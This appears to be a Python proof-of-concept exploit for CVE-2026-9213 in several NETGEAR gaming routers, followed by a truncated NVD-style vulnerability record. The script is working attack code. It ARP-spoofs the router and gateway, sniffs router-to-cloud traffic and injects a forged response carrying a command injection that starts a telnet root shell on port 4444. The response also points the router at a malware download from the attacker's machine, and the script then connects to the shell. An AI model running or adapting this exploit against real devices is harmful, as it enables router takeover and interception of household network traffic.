CVE-2026-9213

# CVE-2026-9213 PoC - NETGEAR Gaming Router MitM to RCE # This PoC demonstrates the concept of intercepting and tampering # with traffic between the NETGEAR router and the Internet to achieve RCE. #!/usr/bin/env python3 """ CVE-2026-9213 Exploit PoC Vulnerability: Missing integrity verification in router-to-cloud communication Affected: NETGEAR MR70, MS70, RAXE500, XR1000 """ from scapy.all import * import socket import struct import time TARGET_ROUTER_IP = "192.168.1.1" # Default NETGEAR router gateway GATEWAY_IP = "192.168.1.254" # Upstream gateway ATTACKER_IP = "192.168.1.100" # Attacker machine on LAN # Step 1: Enable IP forwarding to act as MitM def enable_ip_forwarding(): """Enable IP forwarding on the attacker machine""" import os os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") print("[*] IP forwarding enabled") # Step 2: Perform ARP spoofing to place attacker in MitM position def arp_spoof(router_ip, gateway_ip): """ Send ARP replies to poison the router's ARP cache, making it forward traffic through the attacker. """ # Craft ARP reply: tell router that gateway's IP is at attacker's MAC router_mac = getmacbyip(router_ip) gateway_mac = getmacbyip(gateway_ip) attacker_mac = get_if_hwaddr(conf.iface) # ARP reply to router: I am the gateway arp_to_router = ARP(op=2, pdst=router_ip, hwdst=router_mac, psrc=gateway_ip, hwsrc=attacker_mac) # ARP reply to gateway: I am the router arp_to_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=router_ip, hwsrc=attacker_mac) print(f"[*] Sending ARP poison to {router_ip} and {gateway_ip}") send(arp_to_router, count=5, verbose=False) send(arp_to_gateway, count=5, verbose=False) # Step 3: Intercept and tamper with router-to-cloud communication def intercept_and_tamper(packet): """ Intercept HTTP requests from the router to NETGEAR cloud servers and inject malicious payload in the response. """ if packet.haslayer(TCP) and packet.haslayer(Raw): src_ip = packet[IP].src dst_ip = packet[IP].dst payload = packet[Raw].load # Detect router-to-cloud communication (e.g., firmware check, config sync) if src_ip == TARGET_ROUTER_IP and b"netgear" in payload.lower(): print(f"[*] Intercepted router-to-cloud traffic: {src_ip} -> {dst_ip}") # Craft malicious response with code injection payload # The payload exploits the lack of integrity verification malicious_response = build_malicious_response() # Forward modified response back to router inject_response(packet, malicious_response) def build_malicious_response(): """ Build a malicious response that exploits the router's unverified parsing of cloud responses. """ # Command injection payload targeting router's update/config handler payload = ( "HTTP/1.1 200 OK\r\n" "Content-Type: application/json\r\n" "\r\n" '{"status":"ok","cmd":"`telnetd -l /bin/sh -p 4444`",' '"update_url":"http://' + ATTACKER_IP + '/malware.bin"}' ) return payload.encode() def inject_response(original_packet, malicious_payload): """Send the malicious response to the router""" router_mac = getmacbyip(TARGET_ROUTER_IP) attacker_mac = get_if_hwaddr(conf.iface) response = ( Ether(dst=router_mac, src=attacker_mac) / IP(src=original_packet[IP].dst, dst=TARGET_ROUTER_IP) / TCP(sport=original_packet[TCP].dport, dport=original_packet[TCP].sport, seq=original_packet[TCP].ack, ack=original_packet[TCP].seq + len(original_packet[Raw].load), flags="PA") / Raw(load=malicious_payload) ) sendp(response, verbose=False) print("[+] Malicious payload injected to router!") # Step 4: Connect to the backdoor def connect_backdoor(): """Connect to the shell opened on the router""" print("[*] Waiting for backdoor to establish...") time.sleep(5) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((TARGET_ROUTER_IP, 4444)) print("[+] Got shell on router!") s.send(b"id\n") print(s.recv(1024).decode()) s.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-9213 - NETGEAR Router MitM to RCE PoC") print("=" * 60) enable_ip_forwarding() arp_spoof(TARGET_ROUTER_IP, GATEWAY_IP) print("[*] Sniffing for router-to-cloud traffic...") sniff(filter=f"host {TARGET_ROUTER_IP}", prn=intercept_and_tamper, store=0)

{"cve": {"id": "CVE-2026-9213", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2026-06-09T17:17:51.733", "lastModified": "2026-06-18T14:57:33.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the affected NETGEAR gaming routers allows attackers with the ability to intercept and tamper with traffic between the router and the Internet, to execute code on the device."}], "affected": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "affectedData": [{"vendor": "NETGEAR", "product": "MR70", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.4.48", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MS70", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.4.48", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAXE500", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.2.14.114", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "XR1000", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.2.86", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-09T00:00:00+00:00", "id": "CVE-2026-9213", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:mr70_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.4.48", "matchCriteriaId": "335BE717-7B38-4BDB-8F43-3B62A1059CCE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:mr70:-:*:*:*:*:*:*:*", "matchCriteriaId": "34070FFE-F407-40FD-AACE-5C96F3055799"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:ms70_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.4.48", "matchCriteriaId": "88C2B2F9-6C25-4CB4-8F94-7EE18EF65D94"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:ms70:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8D33A91-19BD-4901-9DDF-A1A06E8E2B53"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:raxe500_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.14.114", "matchCriteriaId": "B75B005E-469A-4AB4-A0F5-D0067D66FFA3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": ... (truncated)